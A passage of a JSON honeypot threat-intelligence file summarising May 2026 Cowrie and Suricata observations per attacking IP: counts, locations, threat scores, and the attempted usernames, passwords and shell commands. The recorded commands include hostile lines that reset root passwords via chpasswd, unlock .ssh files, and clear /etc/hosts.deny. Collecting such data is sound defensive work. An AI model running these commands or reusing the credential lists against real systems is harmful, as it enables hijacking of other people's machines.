      "first_seen": "2026-05-19T18:08:15.047Z",
      "last_seen": "2026-05-20T14:20:22.658Z",
      "sessions": 177,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changsha",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 539,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:08:15.047000+00:00",
        "last_seen_30d": "2026-05-20T14:21:30.187000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 354,
        "Suricata": 185
      }
    },
    "103.172.20.218": {
      "attack_count": 350,
      "first_seen": "2026-05-15T17:34:55.331Z",
      "last_seen": "2026-05-15T18:10:45.276Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "systemd-sync",
        "dbus-helper",
        "linux",
        "pakchoi",
        "udev-monitor",
        "zhxnephu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "!a@b",
        "0727527122",
        "K0nig@1",
        "Kermit123@",
        "Push@8240",
        "a12345678@",
        "abc123.",
        "adt123",
        "c0ff33",
        "castis",
        "chang3m3",
        "gladstone",
        "ichbins",
        "jane123",
        "marmitta",
        "monalisa"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:G7scw4rrl4HR\"|chpasswd|bash",
        "echo \"root:Uan6qCk3excj\"|chpasswd|bash",
        "echo \"warnight\\nC3OqAnRNBcI0\\nC3OqAnRNBcI0\\n\"|passwd",
        "echo -e \"warnight\\nC3OqAnRNBcI0\\nC3OqAnRNBcI0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 142383,
      "as_org": "PT Vaiotech Lintas Nusantara",
      "threat_score": 18.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 427,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T17:34:55.331000+00:00",
        "last_seen_30d": "2026-05-15T18:11:54.470000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 350,
        "Suricata": 77
      }
    },
    "95.46.211.142": {
      "attack_count": 288,
      "first_seen": "2026-05-29T19:07:20.901Z",
      "last_seen": "2026-05-31T22:39:17.236Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "pavan",
        "ubuntu",
        "administrator",
        "andrea",
        "console",
        "freddy",
        "ftpuser",
        "gbase",
        "grace",
        "info",
        "matt",
        "odoo11",
        "pivpn",
        "robert",
        "svn",
        "uftp",
        "username"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "$RFV3edc",
        "123",
        "123456",
        "12345678",
        "1qazXsw2",
        "Aa666888",
        "HUAWEI@123",
        "P@ssw0rd",
        "Qaz147369",
        "Qazwsx123",
        "Qwerty78",
        "Qwertyuiop123@",
        "Welcome2024",
        "admin2020",
        "andrea",
        "console",
        "freddy123",
        "gbase"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"pass\\n1Ooat6rHCJ4Q\\n1Ooat6rHCJ4Q\\n\"|passwd",
        "echo \"pavan\\nAW64jncczwVP\\nAW64jncczwVP\\n\"|passwd",
        "echo -e \"pass\\n1Ooat6rHCJ4Q\\n1Ooat6rHCJ4Q\"|passwd|bash",
        "echo -e \"pavan\\nAW64jncczwVP\\nAW64jncczwVP\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 213029,
      "as_org": "Pro Data-tech Mchj",
      "threat_score": 40.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 367,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T19:07:20.901000+00:00",
        "last_seen_30d": "2026-05-31T22:40:21.661000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 79
      }
    },
    "111.90.159.202": {
      "attack_count": 279,
      "first_seen": "2026-05-28T06:33:24.503Z",
      "last_seen": "2026-05-28T23:40:50.249Z",
      "sessions": 97,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "",
        "daemon",
        "default",
        "ftp",
        "pi",
        "postgres",
        "support",
        "test",
        "ubnt",
        "Administrator",
        "guest",
        "hikvision",
        "router",
        "telecomadmin"
      ],
      "passwords_attempted": [
        "password",
        "",
        "1234",
        "root",
        "000000",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "86981198",
        "888888",
        "abc123",
        "admin1234",
        "cat1029",
        "daemon",
        "default",
        "ftp",
        "j1/_6s*w",
        "letmein",
        "postgres"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": null,
      "asn": 45839,
      "as_org": "Shinjiru Technology Sdn Bhd",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 392,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T06:30:25.956000+00:00",
        "last_seen_30d": "2026-05-28T23:51:37.525000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 279,
        "Suricata": 113
      }
    },
    "121.57.230.96": {
      "attack_count": 272,
      "first_seen": "2026-05-20T03:56:17.547Z",
      "last_seen": "2026-05-20T18:14:29.275Z",
      "sessions": 136,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 416,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T03:56:17.547000+00:00",
        "last_seen_30d": "2026-05-20T18:15:37.689000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 272,
        "Suricata": 144
      }
    },
    "152.250.243.47": {
      "attack_count": 219,
      "first_seen": "2026-05-11T17:35:43.499Z",
      "last_seen": "2026-05-11T17:47:42.813Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "dev",
        "developer",
        "guest",
        "mysql",
        "345gs5662d34",
        "azureuser",
        "backup",
        "bob",
        "git",
        "mainuser",
        "odoo",
        "oracle",
        "pbsworksuser",
        "root",
        "test",
        "user",
        "user6"
      ],
      "passwords_attempted": [
        "test",
        "0admin",
        "111",
        "123",
        "1234qwer!",
        "123qwe",
        "1z2x3c4v",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa123456",
        "Admin",
        "Huawei12#$",
        "P@ssw0rd1",
        "Pass123",
        "dev@2021",
        "developer2022",
        "git2022",
        "hduser1234",
        "letmein",
        "mainuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"dev@2021\\nl3njeo9LFle9\\nl3njeo9LFle9\\n\"|passwd",
        "echo -e \"dev@2021\\nl3njeo9LFle9\\nl3njeo9LFle9\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 12.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 286,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T17:35:43.499000+00:00",
        "last_seen_30d": "2026-05-11T17:48:46.886000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 67
      }
    },
    "202.145.0.18": {
      "attack_count": 218,
      "first_seen": "2026-05-05T14:40:27.562Z",
      "last_seen": "2026-05-05T15:24:37.892Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "admin",
        "amit",
        "db2fenc1",
        "ftpuser",
        "sftpuser",
        "test2",
        "ubuntu"
      ],
      "passwords_attempted": [
        "!@#$REWQ",
        "1020",
        "1234567",
        "1234567890qwertyuiop",
        "1qaz&UJM",
        "2026",
        "3245gs5662d34",
        "345gs5662d34",
        "9001",
        "A123123a",
        "Abcd1234",
        "Admin@2024",
        "Dh123456",
        "Galaxy123",
        "Q12we34rt56y",
        "Root1234!",
        "Ubuntu@2025",
        "Vivo@2026",
        "Welcome@123",
        "Wn123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:63KgLtrD6IBA\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 17884,
      "as_org": "PT. Uninet Media Sakti ISP",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T14:40:27.562000+00:00",
        "last_seen_30d": "2026-05-05T15:25:45.419000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 71
      }
    },
    "121.61.136.93": {
      "attack_count": 214,
      "first_seen": "2026-05-19T06:32:01.900Z",
      "last_seen": "2026-05-19T17:40:22.984Z",
      "sessions": 107,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 338,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:32:01.900000+00:00",
        "last_seen_30d": "2026-05-19T17:41:26.722000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 214,
        "Suricata": 124
      }
    },
    "168.144.36.141": {
      "attack_count": 212,
      "first_seen": "2026-05-21T22:44:08.392Z",
      "last_seen": "2026-05-21T23:46:16.703Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test1",
        "345gs5662d34",
        "claude",
        "denis",
        "es",
        "ftpuser",
        "odoo17",
        "ts3",
        "vpnuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "123456",
        "Abcd1234",
        "Claude2026!",
        "Qwer@12",
        "Root@123#",
        "Yy123456@",
        "admin",
        "es",
        "ftppassword",
        "karachi",
        "qwe123qwe",
        "test@123",
        "ts3pass",
        "vpnuser123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:1qDEvJM4kVW5\"|chpasswd|bash",
        "echo \"test@123\\nECmCTh51BxJ8\\nECmCTh51BxJ8\\n\"|passwd",
        "echo -e \"test@123\\nECmCTh51BxJ8\\nECmCTh51BxJ8\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 42.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.3,
        "persistence": 15.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 19,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T13:22:17+00:00",
        "last_seen_30d": "2026-05-21T23:47:24.900000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 54,
        "Honeytrap": 2
      }
    },
    "114.138.109.76": {
      "attack_count": 173,
      "first_seen": "2026-05-18T22:25:48.518Z",
      "last_seen": "2026-05-22T11:27:40.958Z",
      "sessions": 87,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 262,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:25:48.518000+00:00",
        "last_seen_30d": "2026-05-22T11:28:51.456000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 89
      }
    },
    "187.170.31.219": {
      "attack_count": 144,
      "first_seen": "2026-05-24T07:40:45.486Z",
      "last_seen": "2026-05-24T09:24:46.974Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "user",
        "345gs5662d34",
        "app",
        "aria",
        "daveo",
        "gitlab-runner",
        "hector",
        "userr",
        "vyos"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "1qq2w3e4r5t",
        "3245gs5662d34",
        "345gs5662d34",
        "Asdf12345",
        "Lw123456",
        "Password1",
        "QAZ123qaz",
        "aria",
        "daveo",
        "hector",
        "kk",
        "qwert@123",
        "root",
        "root123",
        "test123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Password1\\nMOBwbx1xDjzZ\\nMOBwbx1xDjzZ\\n\"|passwd",
        "echo -e \"Password1\\nMOBwbx1xDjzZ\\nMOBwbx1xDjzZ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Cuauht\u00e9moc",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 195,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T07:40:45.486000+00:00",
        "last_seen_30d": "2026-05-24T09:25:48.869000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 51
      }
    },
    "147.182.183.153": {
      "attack_count": 143,
      "first_seen": "2026-05-24T09:58:16.831Z",
      "last_seen": "2026-05-24T10:45:45.342Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "client",
        "ftpuser",
        "kkadmin",
        "pacs",
        "serv",
        "ts3server",
        "ubuntu",
        "user1",
        "user15",
        "william",
        "yujie"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "1234",
        "1234qwerty",
        "3245gs5662d34",
        "345gs5662d34",
        "@Passw0rd",
        "Killer123",
        "Password2025",
        "admin@123",
        "adminadmin",
        "client",
        "kkadmin",
        "pacs",
        "ts3server",
        "user15",
        "yujie123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:MU6ungKNHMLG\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T09:58:16.831000+00:00",
        "last_seen_30d": "2026-05-24T10:46:53.895000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "89.252.131.17": {
      "attack_count": 129,
      "first_seen": "2026-05-29T21:22:30.684Z",
      "last_seen": "2026-05-29T21:49:35.164Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alireza",
        "arkserver",
        "claude",
        "deploy",
        "john",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "12345678",
        "5tgb^YHN",
        "ASDasd123",
        "Azerty123",
        "Baidu@123",
        "ark",
        "belinea",
        "majid123",
        "pAssw0rd",
        "password",
        "qwepoi",
        "test1",
        "zxasqw12"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": null,
      "asn": 51559,
      "as_org": "Netinternet Bilisim Teknolojileri AS",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 176,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T21:22:30.684000+00:00",
        "last_seen_30d": "2026-05-29T21:50:35.645000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 129,
        "Suricata": 47
      }
    },
    "148.153.121.146": {
      "attack_count": 126,
      "first_seen": "2026-05-05T04:11:59.439Z",
      "last_seen": "2026-05-31T20:02:21.013Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 63199,
      "as_org": "CDS Global Cloud Co., Ltd",
      "threat_score": 56.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T04:11:59.439000+00:00",
        "last_seen_30d": "2026-05-31T20:03:25.064000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 63
      }
    },
    "65.60.61.231": {
      "attack_count": 126,
      "first_seen": "2026-05-11T04:24:32.990Z",
      "last_seen": "2026-05-31T18:22:13.032Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 51.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T04:24:32.990000+00:00",
        "last_seen_30d": "2026-05-31T18:23:15.359000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 63
      }
    },
    "176.65.136.174": {
      "attack_count": 120,
      "first_seen": "2026-05-05T01:01:18.327Z",
      "last_seen": "2026-05-27T13:23:12.395Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 198584,
      "as_org": "PIO-Hosting GmbH",
      "threat_score": 45.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:01:18.327000+00:00",
